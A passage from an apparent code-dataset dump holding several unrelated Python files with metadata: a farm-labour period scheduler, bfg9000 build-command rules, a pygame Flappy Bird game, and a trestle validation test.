period_dates(start,length)[-1] + datetime.timedelta(days = length[-1].astype(np.float64))\n#print(period_end_date(wet_seeding_start_date(),ci.crop_input['seed_period_lengths']))\n\n\n#This function determines the start dates of the labour periods. generally each period begins at the start of the month except seeding and harvest periods (which need to be seperate because the labour force works more hours during those periods)\ndef p_dates_df():\n periods = pd.DataFrame(columns=['date'])\n #create empty list of dates to be filled by this function\n period_start_dates = []\n #determine the start of the first period, this references feed periods so it has the same yr.\n start_date_period_1 = pinp.feed_inputs['feed_periods'].loc['FP0','date'] + relativedelta(day=1,month=1)\n #end date of all labour periods, simply one yr after start date.\n date_last_period = start_date_period_1 + relativedelta(years=1)\n #start point for the loop counter.\n date = start_date_period_1\n #loop that runs until the loop counter reached the end date.\n while date <= date_last_period:\n #if not a seed period then\n if date < wet_seeding_start_date() or date > period_end_date(wet_seeding_start_date(),pinp.crop['seed_period_lengths']):\n #if not a harvest period then just simply add 1 month and append that date to the list\n if date < pinp.crop['harv_date'] or date > period_end_date(pinp.crop['harv_date'],pinp.crop['harv_period_lengths']):\n period_start_dates.append(date)\n date += uinp.structure['labour_period_len']\n #if harvest period then append the harvest dates to the list and adjust the loop counter (date) to the start of the following time period (time period is determined by standard period length in the input sheet).\n else:\n start = pinp.crop['harv_date']\n length = pinp.crop['harv_period_lengths']\n for i in range(len(period_dates(start, length))):\n period_start_dates.append(period_dates(start, length)[i])\n #end period can't be included in harvest date function above because then when that function is used to determine labour hours available in each period the period following harvest will also get more hours.\n period_start_dates.append(period_end_date(start, length))\n date = period_end_date(start, length) + uinp.structure['labour_period_len'] + relativedelta(day=1)\n #if seed period then append the seed dates to the list and adjust the loop counter (date) to the start of the following time period (time period is determined by standard period length in the input sheet).\n else:\n start = wet_seeding_start_date()\n length = pinp.crop['seed_period_lengths']\n for i in range(len(period_dates(start, length))):\n period_start_dates.append(period_dates(start, length)[i])\n period_start_dates.append(period_end_date(start, length))\n date = period_end_date(start, length) + uinp.structure['labour_period_len'] + relativedelta(day=1)\n #add the list of dates to the labour dataframe\n periods['date']=period_start_dates\n return periods\n\n# drop last row, because it only contains the end date, this version of the df is used for creating the period set and when determining labour allocation\ndef p_date2_df():\n periods=p_dates_df()\n return periods.drop(periods.tail(1).index)\n\n\n", "sub_path": "Periods.py", "file_name": "Periods.py", "file_ext": "py", "file_size_in_byte": 6657, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "UniversalInputs.structure", "line_number": 44, "usage_type": "attribute"}, {"api_name": "UniversalInputs.structure", "line_number": 49, "usage_type": "attribute"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 50, "usage_type": "call"}, {"api_name": "UniversalInputs.structure", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 55, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 55, "usage_type": "call"}, {"api_name": "UniversalInputs.structure", "line_number": 55, "usage_type": "attribute"}, {"api_name": "PropertyInputs.feed_inputs", "line_number": 73, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 73, "usage_type": "call"}, {"api_name": "PropertyInputs.crop", "line_number": 73, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 86, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 100, "usage_type": "call"}, {"api_name": "PropertyInputs.feed_inputs", "line_number": 104, "usage_type": "attribute"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 104, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 106, "usage_type": "call"}, {"api_name": "PropertyInputs.crop", "line_number": 112, "usage_type": "attribute"}, {"api_name": "PropertyInputs.crop", "line_number": 114, "usage_type": "attribute"}, {"api_name": "UniversalInputs.structure", "line_number": 116, "usage_type": "attribute"}, {"api_name": "PropertyInputs.crop", "line_number": 119, "usage_type": "attribute"}, {"api_name": "PropertyInputs.crop", "line_number": 120, "usage_type": "attribute"}, {"api_name": "UniversalInputs.structure", "line_number": 125, "usage_type": "attribute"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 125, "usage_type": "call"}, {"api_name": "PropertyInputs.crop", "line_number": 129, "usage_type": "attribute"}, {"api_name": "UniversalInputs.structure", "line_number": 133, "usage_type": "attribute"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 133, "usage_type": "call"}]} +{"seq_id": "165422781", "text": "from itertools import chain, repeat\nfrom six.moves import cStringIO as StringIO\n\nfrom . import builtin\nfrom .file_types import source_file\nfrom .. import safe_str\nfrom .. import shell\nfrom ..backends.make import writer as make\nfrom ..backends.ninja import writer as ninja\nfrom ..build_inputs import Edge\nfrom ..file_types import File, Node, Phony\nfrom ..iterutils import isiterable, iterate, listify\nfrom ..path import Path, Root\nfrom ..shell import posix as pshell\nfrom ..tools import common as tools\n\n\nclass BaseCommand(Edge):\n def __init__(self, build, env, name, outputs, cmd=None, cmds=None,\n environment=None, extra_deps=None):\n if (cmd is None) == (cmds is None):\n raise ValueError('exactly one of \"cmd\" or \"cmds\" must be ' +\n 'specified')\n elif cmds is None:\n cmds = [cmd]\n\n inputs = [i for line in cmds for i in iterate(line)\n if isinstance(i, Node) and i.creator]\n cmds = [env.run_arguments(line) for line in cmds]\n\n self.name = name\n self.cmds = cmds\n self.inputs = inputs\n self.env = environment or {}\n Edge.__init__(self, build, outputs, extra_deps=extra_deps)\n\n\nclass Command(BaseCommand):\n def __init__(self, build, env, name, **kwargs):\n BaseCommand.__init__(self, build, env, name, Phony(name), **kwargs)\n\n\n@builtin.function('build_inputs', 'env')\ndef command(build, env, name, **kwargs):\n return Command(build, env, name, **kwargs).public_output\n\n\nclass BuildStep(BaseCommand):\n msbuild_output = True\n\n def __init__(self, build, env, name, **kwargs):\n name = listify(name)\n project_name = name[0]\n\n type = kwargs.pop('type', source_file)\n if not isiterable(type):\n type = repeat(type, len(name))\n\n type_args = kwargs.pop('args', None)\n if type_args is None:\n type_args = repeat([], len(name))\n\n type_kwargs = kwargs.pop('kwargs', None)\n if type_kwargs is None:\n type_kwargs = repeat({}, len(name))\n\n outputs = [self._make_outputs(*i) for i in\n zip(name, type, type_args, type_kwargs)]\n\n BaseCommand.__init__(self, build, env, project_name, outputs, **kwargs)\n\n @staticmethod\n def _make_outputs(name, type, args, kwargs):\n f = getattr(type, 'type', type)\n result = f(Path(name, Root.builddir), *args, **kwargs)\n if not isinstance(result, File):\n raise ValueError('expected a function returning a file')\n return result\n\n\n@builtin.function('build_inputs', 'env')\ndef build_step(build, env, name, **kwargs):\n return BuildStep(build, env, name, **kwargs).public_output\n\n\n@make.rule_handler(Command, BuildStep)\ndef make_command(rule, build_inputs, buildfile, env):\n # Join all the commands onto one line so that users can use 'cd' and such.\n buildfile.rule(\n target=rule.output,\n deps=rule.inputs + rule.extra_deps,\n recipe=[pshell.global_env(rule.env, rule.cmds)],\n phony=isinstance(rule, Command)\n )\n\n\n@ninja.rule_handler(Command, BuildStep)\ndef ninja_command(rule, build_inputs, buildfile, env):\n ninja.command_build(\n buildfile, env,\n output=rule.output,\n inputs=rule.inputs + rule.extra_deps,\n command=shell.global_env(rule.env, rule.cmds),\n console=isinstance(rule, Command)\n )\n\n\ntry:\n from ..backends.msbuild import writer as msbuild\n\n @msbuild.rule_handler(Command, BuildStep)\n def msbuild_command(rule, build_inputs, solution, env):\n project = msbuild.ExecProject(\n env, name=rule.name,\n commands=[shell.global_env(rule.env, rule.cmds)],\n dependencies=solution.dependencies(rule.extra_deps),\n )\n solution[rule.output[0]] = project\nexcept ImportError:\n pass\n", "sub_path": "bfg9000/builtins/command.py", "file_name": "command.py", "file_ext": "py", "file_size_in_byte": 3859, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "build_inputs.Edge", "line_number": 18, "usage_type": "name"}, {"api_name": "iterutils.iterate", "line_number": 27, "usage_type": "call"}, {"api_name": "file_types.Node", "line_number": 28, "usage_type": "argument"}, {"api_name": "build_inputs.Edge.__init__", "line_number": 35, "usage_type": "call"}, {"api_name": "build_inputs.Edge", "line_number": 35, "usage_type": "name"}, {"api_name": "file_types.Phony", "line_number": 40, "usage_type": "call"}, {"api_name": "iterutils.listify", "line_number": 52, "usage_type": "call"}, {"api_name": "file_types.source_file", "line_number": 55, "usage_type": "argument"}, {"api_name": "iterutils.isiterable", "line_number": 56, "usage_type": "call"}, {"api_name": "itertools.repeat", "line_number": 57, "usage_type": "call"}, {"api_name": "itertools.repeat", "line_number": 61, "usage_type": "call"}, {"api_name": "itertools.repeat", "line_number": 65, "usage_type": "call"}, {"api_name": "path.Path", "line_number": 75, "usage_type": "call"}, {"api_name": "path.Root.builddir", "line_number": 75, "usage_type": "attribute"}, {"api_name": "path.Root", "line_number": 75, "usage_type": "name"}, {"api_name": "file_types.File", "line_number": 76, "usage_type": "argument"}, {"api_name": "shell.posix.global_env", "line_number": 92, "usage_type": "call"}, {"api_name": "shell.posix", "line_number": 92, "usage_type": "name"}, {"api_name": "backends.make.writer.rule_handler", "line_number": 86, "usage_type": "call"}, {"api_name": "backends.make.writer", "line_number": 86, "usage_type": "name"}, {"api_name": "backends.ninja.writer.command_build", "line_number": 99, "usage_type": "call"}, {"api_name": "backends.ninja.writer", "line_number": 99, "usage_type": "name"}, {"api_name": "shell.global_env", "line_number": 103, "usage_type": "call"}, {"api_name": "backends.ninja.writer.rule_handler", "line_number": 97, "usage_type": "call"}, {"api_name": "backends.ninja.writer", "line_number": 97, "usage_type": "name"}, {"api_name": "backends.msbuild.writer.ExecProject", "line_number": 113, "usage_type": "call"}, {"api_name": "backends.msbuild.writer", "line_number": 113, "usage_type": "name"}, {"api_name": "shell.global_env", "line_number": 115, "usage_type": "call"}, {"api_name": "backends.msbuild.writer.rule_handler", "line_number": 111, "usage_type": "call"}, {"api_name": "backends.msbuild.writer", "line_number": 111, "usage_type": "name"}]} +{"seq_id": "434692453", "text": "import numpy as np\nimport sys\nimport os\nimport time\nimport pygame\nimport random\npygame.init()\n\n# window width and height\nWIN_WIDTH = 500\nWIN_HEIGHT = 800\n\n# images list\n\n\n# welcome image\n# the welcome image\nWELCOME_IMG = pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'message.png')))\n\n# the bird image\nBIRD_IMGS = [pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'bird'+str(i)+'.png'))) for i in range(1,4)]\nBLUE_BIRD_IMGS = [pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'bluebird'+str(i)+'.png'))) for i in range(1,4)]\nRED_BIRD_IMGS = [pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'redbird'+str(i)+'.png'))) for i in range(1,4)]\n\n\n# the pipe image\n\nPIPE_IMG = pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'pipe.png')))\n\n# the base image\nBASE_IMG = pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'base.png')))\n\n# the background image\nBG_DAY = pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'bg.png')))\nBG_NIGHT = pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'bg_night.png')))\n\nBG_IMG = random.choice((BG_DAY, BG_NIGHT))\n\n# The end image\nEND_IMG = pygame.transform.scale2x(pygame.image.load(os.path.join('imgs', 'gameover.png')))\n\nSTAT_FONT = pygame.font.SysFont(\"arial\", 40)\n# SCORE_FONT = pygame.font.SysFont('')\nGEN = 0\n\n### Build the bird class\nclass Bird:\n\n IMGS = random.choice((BIRD_IMGS, BLUE_BIRD_IMGS, RED_BIRD_IMGS))\n # how much does the bird tilt\n MAX_ROTATION = 25\n # rotation velocity\n ROT_VEL = 20\n ANIMATION_TIME = 5\n\n def __init__(self, x, y):\n\n self.x = x\n self.y = y\n\n # how much does the bird tilt\n self.tilt = 0\n self.tick_count = 0\n self.vel = 0\n self.height = self.y\n # which image will show\n self.img_count = 0\n self.img = self.IMGS[0]\n\n def jump(self):\n\n # jump upward\n self.vel = -10.5\n self.tick_count = 0\n self.height = self.y\n\n def move(self):\n\n # keep track how many moves since last jump\n self.tick_count += 1\n\n # how many pixels are moving up or down this frame\n # -10.5*t + 1.5*t**2\n # -10.5 + 1.5*1 = -9 9 pixels up in the first frame\n d = self.vel * self.tick_count + 1.5*(self.tick_count)**2\n \n # if move down exceeds 16, just move down 16.\n if d >= 16 :\n\n d = d/(abs(d)) * 16\n\n if d < 0:\n d = d - 2\n\n self.y = self.y + d\n\n # if we are moving upward or not reaching the point we want to tilt down\n if d < 0 or self.y < self.height +50 :\n\n if self.tilt < self.MAX_ROTATION:\n self.tilt = self.MAX_ROTATION\n\n # tilt the bird downward\n else:\n\n if self.tilt > -90 :\n self.tilt -= self.ROT_VEL\n\n\n def draw(self, win):\n\n # Which bird image to show, flapping the wings\n self.img_count += 1\n\n if self.img_count < self.ANIMATION_TIME:\n self.img = self.IMGS[0]\n\n elif self.img_count < self.ANIMATION_TIME*2:\n self.img = self.IMGS[1]\n\n elif self.img_count < self.ANIMATION_TIME*3:\n self.img = self.IMGS[2]\n\n elif self.img_count < self.ANIMATION_TIME*4:\n self.img = self.IMGS[1]\n\n elif self.img_count == self.ANIMATION_TIME*4 + 1:\n self.img = self.IMGS[0]\n self.img_count = 0\n\n # if the bird is flying downward and exceeds 80 degree, don't flap the wings\n # show the \n if self.tilt <= -80:\n self.img = self.IMGS[1]\n self.img_count = self.ANIMATION_TIME *2\n\n # Rotate the image in the center of the image\n rotated_image = pygame.transform.rotate(self.img, self.tilt)\n new_rect = rotated_image.get_rect(center = self.img.get_rect(topleft = (self.x, self.y)).center)\n win.blit(rotated_image, new_rect.topleft)\n\n\n def get_mask(self):\n \"\"\"\n Use when we get the collision\n \"\"\"\n return pygame.mask.from_surface(self.img)\n\n\n\n### Build the pipe class\nclass Pipe:\n\n # space between pipes\n # GAP = 200\n GAP = random.randrange(200,230)\n # how fast is the pipe moving\n VEL = 5\n\n def __init__(self, x):\n\n self.x = x\n self.height = 0\n \n\n self.top = 0\n self.bottom = 0\n\n # flip the image vertically\n self.PIPE_TOP = pygame.transform.flip(PIPE_IMG, False, True)\n # the bottom pipe\n self.PIPE_BOTTOM = PIPE_IMG\n\n self.passed = False\n self.set_height()\n\n def set_height(self):\n self.height = random.randrange(50,450)\n self.top = self.height - self.PIPE_TOP.get_height()\n self.bottom = self.height + self.GAP\n\n def move(self):\n\n # move the pipe leftward\n self.x = self.x - self.VEL\n\n def draw(self, win):\n\n win.blit(self.PIPE_TOP, (self.x, self.top))\n win.blit(self.PIPE_BOTTOM, (self.x, self.bottom))\n\n def collide(self, bird):\n\n # get bird and pipe masks\n bird_mask = bird.get_mask()\n top_mask = pygame.mask.from_surface(self.PIPE_TOP)\n bottom_mask = pygame.mask.from_surface(self.PIPE_BOTTOM)\n\n top_offset = (self.x - bird.x, self.top - round(bird.y))\n bottom_offset = (self.x - bird.x, self.bottom - round(bird.y))\n\n # find the collision points. Check if they exist\n # bird and the bottom pipe\n b_point = bird_mask.overlap(bottom_mask, bottom_offset) # return None if no collision\n t_point = bird_mask.overlap(top_mask, top_offset) \n\n if b_point or t_point:\n return True\n\n return False\n\n\n### Build the base class\n\nclass Base:\n\n\n VEL = 5\n # how width the image is\n WIDTH = BASE_IMG.get_width() \n IMG = BASE_IMG\n\n def __init__(self, y):\n\n self.y = y\n #two images\n self.x1 = 0\n self.x2 = self.WIDTH\n\n def move(self):\n \"\"\"\n Move the base\n \"\"\"\n self.x1 = self.x1 - self.VEL\n self.x2 = self.x2 - self.VEL\n\n # when all the base is passed\n if self.x1 + self.WIDTH < 0:\n self.x1 = self.x2 + self.WIDTH\n\n\n if self.x2 + self.WIDTH <0:\n self.x2 = self.x1 + self.WIDTH\n\n def draw(self, win):\n \"\"\"Draw the base\n \"\"\"\n win.blit(self.IMG, (self.x1, self.y))\n win.blit(self.IMG, (self.x2, self.y))\n\n\n\n\n\n\n\ndef draw_window(win, bird, pipes, base, score, end = False):\n # draw the window\n win.blit(BG_IMG, (0,0))\n\n for pipe in pipes:\n pipe.draw(win)\n\n base.draw(win)\n bird.draw(win)\n\n # draw the score, gen, number of birds alive\n text = STAT_FONT.render('Score:' + str(score), 1, (255,255, 255))\n win.blit(text, (WIN_WIDTH - 10 - text.get_width(), 10))\n\n if end:\n win.blit(END_IMG,(100,100))\n\n\n pygame.display.update()\n\ndef main():\n\n\n\n\n # Create objects\n base = Base(730)\n pipes = [Pipe(600)]\n bird = Bird(230, 350)\n\n win = pygame.display.set_mode((WIN_WIDTH, WIN_HEIGHT))\n clock = pygame.time.Clock()\n\n start = True\n\n # welcome window\n while start:\n clock.tick(30)\n win.blit(BG_IMG, (0,0))\n win.blit(WELCOME_IMG, (60,100))\n pygame.display.update()\n\n # click left or press space to start the game\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n start = False\n\n if event.key == pygame.K_ESCAPE:\n pygame.quit()\n quit()\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n start = False \n \n score = 0\n\n run = True\n end = False\n\n while run:\n clock.tick(30)\n\n ## Move bird\n bird.move()\n\n for event in pygame.event.get():\n # quit the game\n if event.type == pygame.QUIT:\n run = False\n pygame.quit()\n quit()\n\n if event.type == pygame.KEYDOWN:\n\n if event.key == pygame.K_SPACE or event.key == pygame.K_UP:\n\n bird.jump()\n if event.key == pygame.K_ESCAPE:\n run = False\n pygame.quit()\n quit()\n\n # \n pipe_ind = 0\n \n # if we passed the pipe, change the pipe to be the second one.\n if len(pipes) >1 and bird.x > pipes[0].x + pipes[0].PIPE_TOP.get_width():\n pipe_ind = 1\n\n \n rem = []\n add_pipe = False\n for pipe in pipes:\n \n # if collide\n if pipe.collide(bird):\n \n run = False\n main()\n\n # check if we have passed the pipe, generate a new if true\n if not pipe.passed and pipe.x < bird.x:\n pipe.passed = True\n add_pipe = True\n # off the screen\n if pipe.x + pipe.PIPE_TOP.get_width() < 0:\n rem.append(pipe)\n\n\n pipe.move()\n\n # add pipes\n if add_pipe:\n\n score += 1\n\n pipes.append(Pipe(600))\n\n for r in rem:\n pipes.remove(r)\n\n\n # Check if the bird hits the ground or above the window\n \n if bird.y + bird.img.get_height() > 730 or bird.y < 0 :\n\n run = False\n main()\n \n\n base.move()\n draw_window(win, bird, pipes, base, score)\n\n\n\n\nif __name__ == '__main__':\n\n main()\n\n\n\n", "sub_path": "bird_manual.py", "file_name": "bird_manual.py", "file_ext": "py", "file_size_in_byte": 9644, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pygame.init", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.transform.scale2x", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale2x", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale2x", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale2x", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale2x", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale2x", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale2x", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale2x", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.transform.scale2x", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 42, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.transform.rotate", "line_number": 138, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 138, "usage_type": "attribute"}, {"api_name": "pygame.mask.from_surface", "line_number": 147, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 147, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 156, "usage_type": "call"}, {"api_name": "pygame.transform.flip", "line_number": 170, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 170, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 178, "usage_type": "call"}, {"api_name": "pygame.mask.from_surface", "line_number": 196, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pygame.mask.from_surface", "line_number": 197, "usage_type": "call"}, {"api_name": "pygame.mask", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 275, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 275, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 287, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 287, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 288, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 288, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 297, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 297, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 300, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 300, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 301, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 302, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 305, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 306, "usage_type": "call"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 309, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 324, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 324, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 326, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 328, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 331, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 333, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 333, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 336, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 338, "usage_type": "call"}]} +{"seq_id": "170941246", "text": "# -*- mode:python; coding:utf-8 -*-\n\n# Copyright (c) 2020 IBM Corp. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Tests for cli module command validate.\"\"\"\nimport pathlib\nimport shutil\nimport sys\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom tests import test_utils\n\nfrom trestle import cli\nfrom trestle.core import utils\nfrom trestle.core.models.file_content_type import FileContentType\nfrom trestle.oscal import target as ostarget\n\n\ndef test_target_dups(tmp_path: pathlib.Path) -> None:\n \"\"\"Test model validation.\"\"\"\n content_type = FileContentType.YAML\n models_dir_name = test_utils.TARGET_DEFS_DIR\n model_ref = ostarget.TargetDefinition\n\n test_utils.ensure_trestle_config_dir(tmp_path)\n\n file_ext = FileContentType.to_file_extension(content_type)\n models_full_path = tmp_path / models_dir_name / 'my_test_model'\n model_alias = utils.classname_to_alias(model_ref.__name__, 'json')\n model_def_file = models_full_path / f'{model_alias}{file_ext}'\n models_full_path.mkdir(exist_ok=True, parents=True)\n\n shutil.copyfile('tests/data/yaml/good_target.yaml', model_def_file)\n\n testcmd = f'trestle validate -f {model_def_file} -m duplicates -i uuid'\n with patch.object(sys, 'argv', testcmd.split()):\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n cli.run()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 0\n\n shutil.copyfile('tests/data/yaml/bad_target_dup_uuid.yaml', model_def_file)\n\n testcmd = f'trestle validate -f {model_def_file} -m duplicates -i uuid'\n with patch.object(sys, 'argv', testcmd.split()):\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n cli.run()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 1\n\n shutil.copyfile('tests/data/yaml/good_target.yaml', model_def_file)\n\n testcmd = f'trestle validate -f {model_def_file} -m duplicates -i foobar'\n with patch.object(sys, 'argv', testcmd.split()):\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n cli.run()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 0\n", "sub_path": "tests/trestle/core/commands/validate_test.py", "file_name": "validate_test.py", "file_ext": "py", "file_size_in_byte": 2724, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pathlib.Path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "trestle.core.models.file_content_type.FileContentType.YAML", "line_number": 34, "usage_type": "attribute"}, {"api_name": "trestle.core.models.file_content_type.FileContentType", "line_number": 34, "usage_type": "name"}, {"api_name": "tests.test_utils.TARGET_DEFS_DIR", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tests.test_utils", "line_number": 35, "usage_type": "name"}, {"api_name": "trestle.oscal.target.TargetDefinition", "line_number": 36, "usage_type": "attribute"}, {"api_name": "trestle.oscal.target", "line_number": 36, "usage_type": "name"}, {"api_name": "tests.test_utils.ensure_trestle_config_dir", "line_number": 38, "usage_type": "call"}, {"api_name": "tests.test_utils", "line_number": 38, "usage_type": "name"}, {"api_name": "trestle.core.models.file_content_type.FileContentType.to_file_extension", "line_number": 40, "usage_type": "call"}, {"api_name": "trestle.core.models.file_content_type.FileContentType", "line_number": 40, "usage_type": "name"}, {"api_name": "trestle.core.utils.classname_to_alias", "line_number": 42, "usage_type": "call"}, {"api_name": "trestle.core.utils", "line_number": 42, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 46, "usage_type": "call"}, {"api_name": "unittest.mock.patch.object", "line_number": 49, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 49, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 50, "usage_type": "call"}, {"api_name": "trestle.cli.run", "line_number": 51, "usage_type": "call"}, {"api_name": "trestle.cli", "line_number": 51, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 55, "usage_type": "call"}, 